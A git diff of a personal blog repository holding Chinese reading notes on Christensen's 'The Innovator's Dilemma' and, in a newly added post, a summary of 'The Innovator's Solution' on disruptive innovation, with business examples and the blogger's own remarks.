它们在开展破坏性技术的商业化运作时发现，或者说是发展了重视这种破坏性产品的属性的新市场，而不是寻求技术突破，使破坏性产品能够作为一种延续性技术参与主流市场的竞争。 + + + +**第5章 把开发破坏性技术的职责赋予存在客户需求的机构** + +在面对客户明确说“不”的破坏性技术时，管理者又该何去何从呢？一种选择是说服企业内的每一个人，企业无论如何都应该开发这种技术，因为它对企业的长远发展有着非常重要的战略意义；另一种选择就是创建一个独立的机构，使这个机构直接面向确实需要这种技术的新兴客户群体。哪一种选择更加有效呢？当然是后者。 + +由于他们提供了企业赖以生存的资源，真正决定企业未来发展方向的是客户，而非管理者；真正主导企业发展进程的是机构以外的力量，而非机构内部的管理者。 + +*（也不一定是客户，有可能是对手。360影响了腾讯的战略，让腾讯更加开放。当然也可以说是因为3Q大战中，客户的骂声让腾讯做出了转变）* + +成功企业以客户为导向的资源分配和决策流程，在决定投资方向方面所发挥的作用要远远高于管理者的决策。 + +就目前提到过的所有原因来看，即便发展个人电脑业务的提案得到了管理层的支持，但那些负责日常资源分配流程的公司员工，他们一直认为不应该为主流客户并不需要的低利润率产品投入那么多资金、时间和精力。而能带来更高利润率的高性能产品开发提案（例如数字设备公司的超高速阿尔法微处理器和它对大型计算机的风险投资）则能获得所需的资源。成立独立的机构来发展破坏性技术，这似乎是取得成功的一个必要条件。 + +惠普公司开发个人电脑打印机业务的经验表明，企业通过成立一个独立的分支机构来发展破坏性技术的举措，可能最终会挤垮其内部的另一个业务部门。 + +**第6章 如何使机构与市场的规模相匹配** + +由于新兴市场的规模较小，因此参与新兴市场竞争的机构必须能以较小的规模实现赢利。这一点至关重要，原因是，被认为具有赢利能力并且获得了成功的组织和项目，能够继续从它们的母公司和资本市场吸引资金和人力资源，而被认定为失败的提案则很难再获得资金和人员的青睐。 + +硬盘行业，产品研发一直是经以下3个步骤依次展开：首先是设计硬盘产品；然后是生产硬盘产品；再后来是销售硬盘产品。我们改变了这3个步骤的顺序：我们首先销售硬盘；然后我们设计硬盘；最后我们再生产硬盘。 + +每一种创新过程都是艰难的。但当项目实施机构内的大多数人员都在不断地询问为什么要开展这个项目时，实行创新项目的难度又将被无限扩大。只有那些能够解决重要客户的需求，能对机构的赢利和增长需求产生有利影响，而且参与其中能够提高有能力的员工的职业发展前景的项目，才能得到机构内工作人员的理解和支持。 + +将商业开发破坏性创新项目的职责交由小型机构，因为这些小机构会把这些项目是为通往增长与成功的必经之路，而不是企业主流业务之外一个可有可无的鸡肋。 + +**第7章 发现新的市场** + +**尚不存在的市场时无法分析的，因此，管理者为应对破坏性技术变革而采取的战略和计划应该是有关学习和发现的计划，而不是事关执行的计划。** + +**对延续性技术和破坏性技术市场的预测** + +在推动破坏性创新产品的过程中，常犯的错误就是，想当然地认为对市场的预测是正确的，而不是假定预测是错误的。 + +对于新的市场，谁都无法确定客户想要什么，或者产品销售量能达到多少。这种策略将推动企业采取更具探索性、更加灵活的产品设计和生产能力投资方法；在市场上摸着石头过河，预留足够的资源，以备在必要时根据他们已经了解到的情况重新调整项目的发展方向。 + +本田公司对北美摩托车行业的冲击，也是源自一次偶然的机会，才让本田确定了小型摩托车的市场定位； + +英特尔如何从硬盘存储器市场落败后，成为全球最大的微处理器制造商。是因为硬盘存储业务受到冲击，只有微处理器业务还有比较好的毛利，所以在停摆期间只能将资源倾斜到微处理器上。 + +本田和英特尔都不是提前做好了市场调研，做好的产品规划，都是无意中找到了一个新的市场，开创了一个新的价值网络。 + +在所有有关破坏性技术的不确定因素中，管理者总是可以遵循这样一条法则，即专家的预测总是错误的。 + +**失败的理念与失败的业务之间的比较** + +成功企业与失败企业的主要差别通常并不在于它们最初的战略有多么完美。在初始阶段分析什么是正确的战略，其实并不是取得成功的必要条件，更重要的是保留足够的资源（或是与值得信赖的支持者或投资者建立良好的关系），这样，新业务项目便能在第2次或第3次尝试中找到正确的方向。那些在能够调转航向，转而采用可行的战略之前便用尽了资源或信用度的项目，就是失败的项目。 + +**失败的理念与失败的管理者之间的比较** + +由于失败是为破坏性技术寻找新市场的必经之路，管理者不能或者不愿拿他们的个人职业生涯来做赌注的事实，也构成了一股强大的阻力，妨碍了成熟企业进入由这些技术创造的价值网络。 + +**学习计划与实施计划的比较** + +由于对市场需求或市场规模知之甚少，计划必须服务于一个非常不同的目的，它们必须是学习计划，而不是实施计划。在开展破坏性业务时，管理者需要时刻铭记市场应用领域是不可知的，如此就能判断出哪些是寻找新市场的最重要的信息，并能对信息的重要性进行排序。项目和业务计划应反映出这些优先顺序，这样，在需要投入大量资本、时间和资金时，就能拼凑出关键的信息片断，或解决重要的不确定因素。 + +我将这种发现破坏性技术新兴市场的方法命名为**“不可知营销”**。根据这种方法进行市场营销，必须遵循这样一个明确的假设，即：没有人——不论是我们，还是我们的客户——能够在真正使用之前了解破坏性产品是否能够投入使用，怎样使用，或者使用量有多大。 + +**第8章 如何评估机构的能力与缺陷** + +要想持续获得成功，优秀的管理者就需要掌握足够的技巧。这种技巧不仅仅表现在挑选、培训、激励员工，使能者胜任，还表现在要善于为需要完成的任务选择、创建并筹备适合的机构，使能者适得其所。 + +成功应对破坏性技术的企业，往往都是那些为破坏性机遇专门创立了规模相当的独立机构的企业。 + +**机构能力框架** + +机构的能力往往受到3个因素的影响：资源、流程以及价值观。 + +**资源：**是影响机构能力的3个因素中最为直观的一个，这其中包括人员、设备、技术、产品设计、品牌、信息、现金以及与供应商、分销商和客户的关系等。毋庸置疑，获取大量的优质资源有助于提高机构应对变革时的胜算。 + +**流程：**在员工将资源投入（人员、设备、技术、产品设计、品牌、信息、能源以及现金）转化为产品或更大价值的服务的过程中，机构也随之创造了价值。**在实现这些转化的过程中，人们所采取的互动、协调、沟通和决策的模式就是流程**。流程不仅包括制造过程，还包括实现产品开发、采购、市场研究、预算、规划、员工发展和补偿，以及资源分配的过程。 + +如果某个流程定义了完成某项特定任务的能力，那就等于同时也定义了无法完成其他任务的能力。这就意味着机构用以创造价值的机制从本质上说是排斥变化的。 + +这些典型的固定流程正是许多机构在应对变革时能力最为欠缺的地方。 + +**价值观：**企业的价值观就是在确定决策优先级别时所遵循的标准。一个机构的价值观指的是员工做出优先决策时所依据的标准——他们以此来判断一份订单是否有吸引力，某个客户是否比另外一个客户更重要，某个新产品理念是否具有吸引力等。 + +**良好管理的一个关键衡量标准就在于，管理者是否在机构内部普及了这种清晰、统一的价值观。** + +**流程与价值观的关系，以及如何成功应对延续性技术与破坏性技术** + +破坏性创新的产生总是间歇性的，以至于没有哪家企业能专门为其制定出一套程序化的流程。此外，由于破坏性产品往往单价较低，不受最优质客户的青睐，相应的利润率也就比较低，从而与领先企业的价值观背道而驰。 + +**能力的转移** + +在机构的初创阶段，大多数工作的开展得益于它的员工资源。几个关键人员的加入或离开，都可能对其成功与否产生深远的影响。但随着时间的推移，机构的能力轨迹逐渐转向其流程和价值观。 + +决定机构能力和缺陷的最为有力的因素，会随着时间的推移而不断发生变动——从资源变为可预见的、有意识的流程和价值观，然后再转化为文化。 + +**创造新能力应对变革** + +如果管理者确定机构的能力不适于执行新的任务，那他们就可以选择采取以下的3种方法来创造新的能力： + +- 收购另一家流程和价值观与新任务极为匹配的公司； +- 试图改变当前机构的流程和价值观； +- 成立一个独立的机构，在这个机构内针对新问题开发出一套新的流程和价值观。 + +机构的流程和价值观才是企业最基本的能力。流程和价值观决定了企业将如何整合资源（企业可以购买和出售、使用和放弃许多资源）以创造价值。 + +流程和价值观从本质上来说却是固定的，其存在的价值就在于让人们以固定的方式反复完成同一项任务。流程就意味着“不可改变”。 + +由于流程的本质都是针对具体的任务，因此我们不可能用同一个流程来开展两种截然不同的工作。 + +而对于企业尝试凭直觉进入新兴市场时建立的那些流程，一旦被应用到成熟的现有业务领域则与自杀无异。 + +**通过分支机构创造新能力** + +分支机构需要享有多大程度的独立性呢？最基本的要求是，分支机构的项目不能被迫去和主流机构的项目争夺资源。 + +独立机构是否在形式上实现了独立其实并不重要，真正重要的是它是否独立于常规资源分配流程而存在。 + +企业成立职能型和轻量级团队是拓展现有能力的有效途径，而组建重量级团队则是创造新能力的有力工具。 + +当机构遭遇变革时，管理者首先必须确定，他们是否具备成功所需的资源。然后，他们需要再问一个不同的问题：机构是否具备成功所需的流程和价值观？ + +对于成熟企业来说，创新之所以总是看起来困难重重，其原因就在于它们聘用了能力很强的人，并将设计初衷与他们肩负的使命不相匹配的流程和价值观强加给他们。 + +**第9章 产品性能、市场需求和生命周期** + +当产生性能过度供给现象时，破坏性技术的机遇也呼之欲出，然后开始从价值网络的下方冲击成熟市场。 + +当性能过度供给给破坏性技术带来威胁或机遇，这还会导致产品市场的竞争基础发生根本性变化。客户选择产品或服务时所遵循的各种标准的排序将发生变化，从而标志着产品生命周期从一个阶段（管理学理论学家对此给出了不同的定义）过渡到另一个阶段。换句话说，企业提供的性能轨线和市场要求的性能轨线的交汇，是引发产品生命周期从一个阶段过渡到另一个阶段的根本原因。 + +性能过度供给引发了竞争基础的变化。一旦对容量的需求得到满足，其他属性（这些属性的性能尚不能满足市场的需求）的价值便开始显现，硬盘制造商也会开始针对这些属性来将它们的产品与其他产品区别开。 + +一般来说，一旦某项特定属性达到了所要求的性能水平，客户便不会再像以前那样愿意为该项属性的持续改善支付溢价，这表明客户对这项属性的需求已经得到满足。因此，性能过渡供给导致竞争基础发生转变，而客户用来选择产品的标准也转移到市场需求尚未得到满足的属性上。 + +**性能过度供给和产品竞争的演变** + +加利福尼亚州旧金山市的温德米尔联合公司（Windermere Associates）就创造了一种被称为“购买等级”的产品演变模式。这一模式将产品演变划分为以下4个阶段：**功能性、可靠性、便捷性和价格。** + +**破坏性技术的其他普遍特征** + +破坏性技术的其他两项重要特征，可能会对产品生命周期和竞争态势产生长期影响：首先，破坏性产品在主流市场几乎没有价值的属性，通常成为它们在新兴市场最大的卖点；其次，相比成熟产品，破坏性产品一般更简单、更便宜，也更可靠、更便捷。 + +1.破坏性技术的劣势正是其优势 + +2.相比成熟技术，破坏性技术通常更简单、更便宜，也更可靠、更便捷 + +**发生在会计软件市场的性能过度供给** + +Quicken软件的开发者观察用户如何使用产品，而不是询问用户或“专家”需要什么来提高软件使用的便捷性，并继续将产品设计得更简单、更便捷。通过观察用户在使用产品的过程中可能会在哪些地方碰到困难或感到迷惑，开发者把主要精力放在了不断地使产品变得更简单、更方便的努力上，以期为客户提供包含足够的功能，而不是超强功能的产品。（这就是从功能性、可靠性，转变到了便捷性） + +**Quickbooks产品的开发源于3个简单的启示：** + +第1个启示是，之前市场上可用的小型企业会计软件包是在注册会计师的密切指导下开发出来的，因此它要求使用者具备基本的会计知识（借贷、资产和负债等知识），而且每项会计分录都需要记录两次（因此为每次交易提供了审计追踪）； + +第2个启示是，大多数现有的软件包都面面俱到地提供了一系列复杂的报告和分析数据，而且软件每升级一次，数据就会变得更加复杂和专业，因为软件开发者希望提供更多的功能，并以此将他们的产品与其他产品区别开； + +第3个启示是，85%的美国企业规模都很小，而且雇不起会计师，因此，它们的账目都是由业主或家人来记录。这些人员不需要，也不理解主流会计软件提供的大多数条目和报告。他们不知道审计追踪是什么，更不用说如何使用这一功能。 + +他们在经营企业时更多是依靠自己的直觉和对所从事业务的第一手知识，而不是包含在会计报告中的信息。Intuit公司具有市场破坏性的Quickbooks软件，将产品竞争的基础从功能性转变为便捷性，并在产品推出两年后占据了70%的市场份额。 + +**控制产品竞争的演变** + +![img](https://pic1.zhimg.com/80/v2-4ffd317b1a54b0ab2e5bc9cc24a07be8_1440w.jpg) + +图9.4显示了可供面临性能过度供给的企业选择的战略性方法，以及之后破坏性技术改变行业竞争性质的可能性。 + +第1种一般性选择（即图中的战略1，也是本书探讨的各行业最常用的战略）就是将延续性技术的轨线提升到市场的更高级别，从而在更简单、更便捷，或是更便宜的破坏性方法出现时，最终选择放弃更低端的客户。 + +第2种选择，也就是图9.4中的战略2，就是在一个特定的市场级别，时刻与客户的需求保持步调一致，从而紧跟每一轮竞争基础的变革浪潮。从历史经验来看，这一点似乎难以做到。 + +第3种战略选择，就是利用市场营销计划来加深市场轨线的坡度，使客户的需求能够跟上技术人员所能提供的性能改善速度。 + +微软公司、英特尔公司和硬盘企业非常有效地执行了最后一种战略。微软公司利用其行业主导地位，成功地研制并营销了需要占用巨大硬盘内存，且需要速度更快的微处理器来运行的软件包。微软公司最终提高了客户要求的功能改善轨线的坡度，并使之与微软公司技术人员提供的功能改善坡度平行。 + +微软、英特尔和希捷公司成功地创造了市场需求，并使市场需求轨线与其技术人员所能提供的功能轨线始终保持平行，但目前还不清楚它们的成功还能持续多久。 + +**正确的战略和错误的战略** + +在图9.4描述的3种战略中，哪一个是最佳战略呢？本项研究发现，有明显的证据表明没有所谓的最佳战略，着力采取任何一种战略都有可能取得成功。惠普公司在发展激光喷射打印机业务时采取的是第1种战略，并实现了巨大的利润。在这个案例中，第1种战略也是一种安全的战略，因为惠普公司正在用具有破坏性的喷墨打印技术来冲击自己的市场领先地位。康柏公司，以及英特尔公司、微软公司和硬盘制造商的三位一体组合至少从现在来看都分别成功地实施了第2种和第3种战略。 + +这些成功的战略实施者都有一个共同的特点，那就是不管是有意识的还是出于本能，他们都深刻理解了客户的需求曲线和技术人员的供给曲线。到目前为止，理解这些曲线是他们获得成功的关键。但能够长期做到这一点的企业屈指可数。大多数运行良好的企业都会不自觉地向坐标图的东北角方向移动，从而导致自己身陷竞争基础发生改变的漩涡，并招致破坏性技术从价值网络下方发起的攻击。 + +**第10章 管理破坏性技术变革：案例研究** + +能力不足、官僚作风、傲慢自大、管理队伍老化、规划不合理和投资短视，显然是导致许多企业最终失败的主要原因。但我们已经知道，即使是最优秀的管理者也会受到某些法则的制约，而且这些法则会加大破坏性创新的难度。 + +**我们怎样才能判断出某项技术是否具有破坏性** + +20世纪初，电动汽车在“何种设计能成为汽车的主流设计形式”的竞争中，输给了汽油动力汽车，自那以后，电动汽车就一直徘徊在传统汽车市场的边缘。 + +假设我的职责是管理一家汽车生产企业的电动汽车项目，我要做的第一件事就是提出一系列问题：我们认为电动汽车在市场上获得成功的概率有多大？也就是说，除了强制性法令（比如电动汽车销售量达到2%）外，电动汽车是否能对汽油动力汽车制造商构成真正的破坏性威胁？这是否是企业实现赢利增长的一个机遇？ + +要回答这些问题，我需要绘制一张市场所要求的性能改善轨线，并将其与技术能够提供的性能改善轨线进行比较；换句话说，我需要为电动汽车绘制一张与图1.7或图9.5类似的轨线图。据我所了解，这些图表是用来判断破坏性技术的最佳方法。 + +绘制本图的第1步就是确定主流市场的需求，并将其与电动汽车当前所具备的能力进行比较。为了评估市场需求，我应该认真观察客户实际上是如何使用产品的，而不仅仅是听他们描述是如何使用产品的。相比组织访谈或跟踪调研小组来收集信息，观察客户实际如何使用产品能够提供更多更可靠的信息。因此，观察结果表明，汽车客户目前需要大约125英里至150英里的续驶里程（即在再次加油之前汽车能够行驶的距离）；大多数电动汽车只能提供50英里至80英里的续驶里程。同样，汽车驾驶者似乎需要能在10秒之内时速从0提升至60英里的汽车（在高速路入口坡道行驶时，一辆汽车只有达到这个加速度才能安全地并入高速行驶的车流）；**大多数电动汽车则需要将近20秒才能将时速从0加速至60英里（\*这真是一个很扯淡的基础，后来的电动车加速极快\*）**。最后，主流市场的购车者希望能够拥有很多种选择，但电动汽车制造商最初能够实现的产量会很小（这也是由这项业务的特性决定的），因此无法像汽油动力车制造商那样，为客户提供那么多的选择。[插图]根据几乎所有对功能性的定义（在我计划描绘的图表中，功能性构成了图中的纵轴），电动汽车所能提供的功能都逊色于汽油动力汽车。 + +但这一信息并不足以说明电动汽车具有破坏性产品的特性，只有在我们发现其性能改善曲线在日后有可能会与主流市场的需求相交汇时，我们才能说电动汽车是一种破坏性产品。 + +电动汽车无法进入主流市场，这种汽车的属性与汽油动力汽车价值网络所关注的属性大相径庭，而且电动汽车技术的发展速度高于市场需求轨线的发展速度。所以是典型的破坏式创新。 + +我还注意到，许多专家断言，如果电瓶技术无法取得重大技术突破，电动汽车市场将永远无法形成足够的规模。这样的观点可谓是不胜枚举，但我并不会就此退缩。理由是什么呢？如果电动汽车被看作是成熟市场价值网络中的一种延续性技术，那这些专家的观点无疑是正确的。但因为专家在预测破坏性技术的性质和市场规模时总是与实际情况相差甚远，因此我强烈质疑这些专家的疑虑是否合理，虽然我对自己的结论也不是很确定。（*作者真是神人呀，通过一个理论进行准确的预测。*） + +**电动汽车的市场到底在哪儿** + +领导我的企业进入一个可以率先使用电动汽车的、正统的、没有补贴性质的市场。 + +首先，我承认，电动汽车在初始阶段并不能应用于主流应用领域（*所以特斯拉从高端跑车入手*），因为它不能满足市场对性能的基本要求，参与我的项目的每一个人也都了解这一点。尽管对于市场到底在哪儿，我们尚无头绪，但我们所能确定的一件事就是，这个市场绝非当前的成熟汽车市场。具有讽刺意味的是，我认为，鉴于资源依赖理论和“小市场无法解决大企业的增长或赢利需求”的原则，大多数汽车制造商都将非常短视地将注意力全部集中在主流市场上。因此，在寻找潜在客户的过程中，我不会去效仿其他汽车制造商，因为我认为，他们的直觉和能力都用在了错误的目标上。 + +而我的任务是尽快找到一个能使用电动汽车的市场，因为率先进入破坏性技术市场的企业明显要比后来进入这一市场的企业更占优势。 + +我在制订市场营销策略时所要遵循的第2项原则就是，没有人能通过市场研究了解到电动汽车的早期市场到底在哪儿。早期市场到底在哪儿。我可能会聘用顾问，但我唯一能确定的一件事就是，他们的发现将是错误的。客户自己也无法告诉我们他们是否需要电动汽车。 + +市场唯一有价值的信息就是，通过真正进入市场，通过测试和探索，通过反复尝试，通过向真正愿意掏腰包的实际客户销售实际的产品，我们能够从中得到些什么。 + +第3项原则是，我的创业计划必须是一个学习的计划，而不是一个实施预先制定的战略的计划。 + +在破坏性技术发展的初期，主流客户从来都不会选择使用破坏性产品。 + +**我们应采取什么样的产品技术和经销策略** + +以这些特性作为指导原则，我将能指导我的设计工程师按照以下3个标准来进行电动汽车的设计。 + +首先，这种汽车必须具有简单、可靠和便捷的特性。例如，这可能意味着，我们一个长期的技术目标就是，利用较为普遍的供电服务，来寻找一种给电瓶快速充电的方法。 + +其次，由于没有人知道产品的最终市场在哪儿，或者市场最终将如何使用这种产品，因此，我们必须设计出一个能够以较低的成本迅速对产品的特色、功能和外形进行变更的产品平台。 + +再次，我们必须确定一个较低的定价点。采用了破坏性技术的产品的标价通常应该低于主流市场上使用的产品，但它们的使用成本则通常要更高一些。 + +**破坏性创新的技术战略** + +从历史上看，破坏性技术一直不涉及新技术；相反，构成破坏性技术的各个组件所采用的都是经过验证的技术，破坏性技术只是将这些组件组合成一种全新的产品结构，并且为客户提供了一些他们之前从未体验过的新属性。 + +**破坏性创新的经销战略** + +**破坏性产品将会重新定义主要经销渠道（\*连特斯拉会放弃传统的4s店销售模式都预测到了\*）**，这几乎已成为一个定律，因为经销商所遵从的经济学原理（他们获取利润的方式）与制造商一样，在很大程度上是由主流价值网络决定的。 + +由于破坏性技术并不符合成熟企业提高赢利的经营模式，因此它也不符合成熟企业的经销商的营销模式。 + +**什么样的机构最适合进行破坏性创新** + +**设立一个独立的分支机构** + +我可以采取两种方式来应对这一挑战，我可以努力说服机构内的每一个人，使他们完全确信破坏性技术是可以实现赢利的；或者我可以另行创建一个规模足够小、成本结构较为合理的机构，而且机构内的每一个人都认为我的项目是通往成功的必经之路。两种方法都在管理上面临挑战，但后一种方法显然要容易处理得多。 + +**第11章 创新者的窘境：概要** + +在单纯追求利润和增长率的过程中，一些优秀企业的优秀管理者因为使用了最佳管理技巧而导致了企业的失败。但企业并不应该仅因为这些管理技巧无力应对破坏性技术所带来的威胁，而放弃这些曾使它们在主流市场大放异彩的能力、组织结构和决策流程。 + +企业的管理者仅仅需要认识到，这些能力、文化和方法只是在某些特定的条件下才具有价值。 + +我已经发现，生命中许多最具价值的洞见通常都十分简单。回想起来，本书的许多发现也都适用于这一模式，起初，这些洞见似乎都有些不合常理，但随着理解的深入，最后我发现这些洞见简单而睿智。在这里，我将梳理这些洞见，希望能给那些可能身陷创新者的窘境的读者以启发。 + +第一，市场要求的或者能够消化的发展速度，可能会与技术能够达到的发展速度存在差异。这就意味着，今天似乎对客户来说不太有实用价值的产品（即破坏性技术）日后可能足以满足他们的需求。认识到这种可能性，我们就不能指望客户会引导我们发展他们当前并不需要的创新。 + +第二，创新管理反映了资源分配流程。 + +第三，正如每个创新问题都有资源分配方面的原因一样，市场与技术的匹配是这个问题的另一个方面。从历史上看，更成功的方法是为破坏性技术找到一个看重其当前特性的新市场。**破坏性技术应被看作是一种市场营销挑战，而不是技术性挑战。** + + +# 参考 + + + ++ [创新者的窘境-读书笔记](https://zhuanlan.zhihu.com/p/144784803) \ No newline at end of file diff --git a/_posts/2021-02-25-546-tis.md b/_posts/2021-02-25-546-tis.md new file mode 100644 index 0000000..4b605a1 --- /dev/null +++ b/_posts/2021-02-25-546-tis.md @@ -0,0 +1,244 @@ +--- +layout: post +title: 创新者的解答 +pid: 546 +tags: [产品经理, 创业] + +--- + + + + + +## 关于作者 + +克莱顿·克里斯滕森，美国哈佛商学院的教授。和大多数的商学院教授不同，克里斯滕森在业界积累了15年管理和创业经验后，才回到哈佛商学院攻读博士学位，然后留校任教。克里斯滕森在《创新者的解答》《创新者的窘境》两本著作中提出了“颠覆性创新”理论。 + +## 关于本书 + +《创新者的解答》这本书写于2003年，入选美国《商业周刊》年度十大财经管理好书。这本书和另外一本《创新者的窘境》是姊妹篇。在《创新者的窘境》里，克里斯滕森指出了大企业面临的被颠覆式创新颠覆的窘境。在这本《创新者的解答》里，克里斯滕森给出了实施颠覆式创新的方法。 + +## 核心内容 + +本书思想核心是：在激烈的市场竞争中，企业总是被迫不断地成长，颠覆竞争对手或者是被竞争对手颠覆，这是每个企业面临的永恒难题，而颠覆式创新是企业打败最强竞争对手的杀手锏。实施颠覆式创新需要从四个方面入手。首先是找到竞争对手忽略的用户。其次是提供的产品要有差异化的和能够不断完善的性能。第三是进入这些用户未被满足的需求形成的细分市场。第四是组织要能够保持灵活的结构，不断地成长。 + + + +![创新者的解答](http://img.geek-docs.com/reading/management/the-innovators-solution/dedao-1-nologo.jpg) + +## 前言 + +你好，欢迎你每天听本书，本期为你解读的书是《创新者的解答》，这本书的中文版大约250页，我会用24分钟的时间为你讲述书的精髓。颠覆式创新有套路，主要分四个方面：一是找到用户需求缺口，二是提供差异化产品，三是选择合适的产品架构，四是搭建灵活的组织结构。 + + + +我们在《创新者窘境》这本书中解读过“颠覆式创新”这个概念，颠覆式创新说的是管理完善的大企业因为缺乏颠覆式创新的思维而被小企业颠覆的事情。在中国创业者圈子里，颠覆式创新几乎就是创业者口中的必备词汇。三句话说不到颠覆式创新，你都不好意思说自己是创业者。但是，创业企业如何实现颠覆式创新，大企业如何实现自我颠覆式革新，并不是所有嘴上讲着颠覆式创新的创业者都知道的。这本《创新者的解答》说的就是这样一本小企业颠覆大企业的操作指南。 + + + +这本《创新者的解答》和《创新者的窘境》是同一个作者写的，就是大名鼎鼎的克莱顿·克里斯滕森。克里斯滕森是美国哈佛商学院的教授，他在哈佛教书前，有15年的管理和创业经验。因此，他写的书不仅能一针见血地指出企业面临的问题,还能指出大企业面临的创新者窘境，并给出解决问题的药方。也就是《创新者的解答》这本书里说的，小企业如何颠覆大企业，大企业如何自我革新。 + + + +所以说，《创新者的解答》和《创新者的窘境》是姊妹篇。在《创新者的窘境》里，克里斯滕森指出了大企业为什么总是面临被颠覆式创新颠覆的窘境。在这本《创新者的解答》里，克里斯滕森给出了实施颠覆式创新的方法。如果说，在《创新者的窘境》里，克里斯滕森主要是对大企业说“你有病”的话，在《创新者的解答》克里斯滕森主要说的是“我有药”。 + + + +克里斯滕森指出，实施颠覆式创新需要从四个方面入手。首先是找到竞争对手忽略的用户。其次是提供的产品要有差异化的和能够不断完善的性能。第三是进入这些用户未被满足的需求形成的细分市场。第四是组织要能够保持灵活的结构，不断地成长。简单来说是：找需求、切市场、供产品、搭结构。 + + + +下面，我就为你详细讲述书中内容。这本书中，作者想表达的主要思想是：在激烈的市场竞争中，企业总是被迫不断地成长，颠覆竞争对手或者是被竞争对手颠覆，这是每个企业面临的永恒难题，而颠覆式创新是企业打败最强竞争对手的撒手锏。我们可以从四个方面理解颠覆式创新方法的重点： + +- 第一个重点，企业必须理解用户希望购买什么样的产品； +- 第二个重点，企业必须为合适的用户提供合适的产品； +- 第三个重点，企业必须选择合适的生产架构； +- 第四个重点，企业必须保持灵活的组织结构，拥有正确的价值观。 + + + +## 第一部分 + +理解用户希望购买的产品很重要！这里说的不是用户正在购买的产品，而是用户希望购买的产品，因为用户的希望就是企业的希望，用户希望购买的产品反映了用户真正的需求和未来的需求。 + + + +所谓“真正的”需求，说的是用户购买产品和服务要解决的问题，而不是产品和服务本身。比如那个著名的例子：用户买电钻，不是为了买电钻这个产品，而是为了在墙上打个洞。所谓“未来的”需求，说的是现在的产品没有办法满足用户真正的需求，用户正期待着有更合适的产品和服务来满足自己的需求。比如 iPhone 出来之前，非智能手机无法满足用户利用互联网进行沟通的需求，而能满足这类需求的智能手机代表着未来。 + + + +再举个发生在我们身边的例子帮助你理解用户需求。在共享单车出现以前，从地铁站出来的乘客往往通过“打黑车”来解决“最后一公里”的问题。他们打黑车不代表他们愿意打黑车，他们希望用更便捷、便宜和安全的交通工具解决最后一公里的交通问题。黑车之所以屡禁不止，是因为没有能够满足用户需求的替代品。政府如果只是打击黑车，而不能提供能够满足需求的替代品，就不能从根本上解决这个问题。共享单车的出现解决了乘客的最后一公里出行问题，也顺带解决了黑车。 + + + +在共享单车这个例子里有两类用户，一类是原来打黑车的人，另一类是原来不打黑车，走路或骑自己的自行车的人。理解共享单车带来的颠覆式创新，需要理解这两类用户的不同。对于原来走路或骑自己的自行车的人来说，没有共享单车以前，他们的出行方式可以被看做是“零消费”。共享单车的出现开启了这些用户为解决最后一公里出行问题的消费行为。而对于原来打黑车的人来说，共享单车给了他们一个更加划算的解决方案，使他们可以放弃打黑车这种不安全也不经济的解决方案。 + + + +用颠覆式创新的术语来解释，共享单车的作用可以分成两个方面。一方面，共享单车创造了一个新市场，让那些原来走路或骑自己的自行车的人开始消费，这个作用叫“新市场创新”。另一方面，共享单车颠覆了一个旧市场，让那些原来开黑车的人没了生意，这个作用叫“低端颠覆”。 + + + +说共享单车是低端颠覆，是因为和黑车或出租车相比，共享单车是更经济的解决短途出行的方式，但在没有共享单车之前，那些打黑车或出租车的人不得不花更多的钱满足这个需求。从某种意义上讲，他们被“过度服务”了。所以说，被过度服务用户往往希望寻找性价比更好的产品和服务，而没有被服务到的用户往往希望寻找新的产品和服务来满足他们的需求。实际上，有很多成功的颠覆式创新瞄准的就是没有被服务到的“零消费市场”和被过度服务的“过度消费市场”。 + + + +咱们先看个“零消费市场”创新颠覆的例子。现在，很多人在自己的办公桌旁边都放着一台小型复印机，有需要随时复印，非常方便。但在佳能公司发明桌面复印机之前，复印机体型非常大，价格也很贵。一个小公司通常只有一台复印机，也往往是租来的。佳能公司发明小型复印机之后，小型复印机迅速出现在很多人的办公桌上，一个原来没有的市场变得非常巨大，同时颠覆了生产大型复印机的公司。类似的例子还有很多。这类“零消费市场”颠覆式创新的特点是创新产品本身从价格上就易于被接受，而且也便于使用，因此，很轻松地就创造了一个全新的使用人群。 + + + +咱们再看个“过度消费市场”低端颠覆的例子。现在，很多人出门都开小排量汽车甚至是电动汽车。但在20世纪70年代之前，在素有“车轮上的国度”之称的美国，人们都习惯开大排量汽车和摩托车。例如，那种发出振聋发聩声响呼啸而过的哈雷摩托车。日本的摩托车和汽车企业正是看准了美国这个对能源过度消费的市场，以小排量和高性价比产品切入，满足了美国部分消费者节约能源和环保的需求，成为世界领先的企业。 + + + +我们来总结一下第一个重点：想要进行颠覆式创新的企业必须理解用户希望购买什么样的产品。这里分两种情况，一种是提供新的产品来满足用户没有被满足的需求，另一种情况是提供合适的产品甚至是“低端”产品来更好地满足用户原来被过度满足的需求。 + + + +## 第二部分 + +上面为你讲述的是本书的第一个重点，理解用户希望购买什么样的产品。接下来，咱们说说要为合适的用户提供合适的产品。这个重点实际上说了两个事儿，一个是合适的用户，另一个是合适的产品。 + + + +先看谁是合适的用户，这其实和本书第一个重点有关。合适的用户是正在寻找解决方案的用户，这里说的主要有两类用户，一类用户在为没有被满足的需求寻找全新解决方案，另一类用户在为被过度满足的需求寻找替代解决方案。 + + + +再看什么是合适的产品。用户购买产品的目的往往是用产品解决他们的问题，完成他们需要完成的任务，而不是拥有产品本身。这里面有一个“用户任务”的概念。用户任务是用户希望通过一个产品或服务完成的事情。例如，当一个用户走进餐馆，他要完成的任务就是给自己补充能量，也许同时要享受一下美食带来的愉悦。当一个用户打开一台电脑，他要完成的任务可能就是回复一封邮件或者编辑一个文档。如果有在餐馆之外吃饭的方式来补充能量和享受美食，或者说有电脑之外的设备可以回复邮件和编辑文档，用户完全可以用其他的方式完成任务，而这些能帮助用户完成任务的新方式可能就是颠覆性的创新产品。 + + + +比如说，在工作和生活节奏越来越快后，人们希望能更快地获得可口的食物，希望能够一站式购买日常生活用品，于是麦当劳等快餐行业和沃尔玛等超市行业就诞生了。克里斯滕森举了一个快餐店卖奶昔的例子，有一家高速公路旁边快餐店发现每天早上能卖掉很多杯奶昔，但能卖掉的汉堡要少很多。于是，这家快餐店研究了一下什么用户买奶昔，他们买奶昔的目的是什么。结果发现，这家快餐店早上的消费者大都是一些开车上班的人，他们离开快餐店后要开一段高速公路到单位上班，他们需要打发上班路上的无聊时间，他们也需要一种不太饱肚子的食物，也不能因为吃这种食物把车里弄得很脏。于是，能够一只手拿着用吸管慢慢喝的奶昔就成了解决他们问题的畅销产品，而汉堡、薯条、炸鸡等食品显然解决不了他们的问题。 + + + 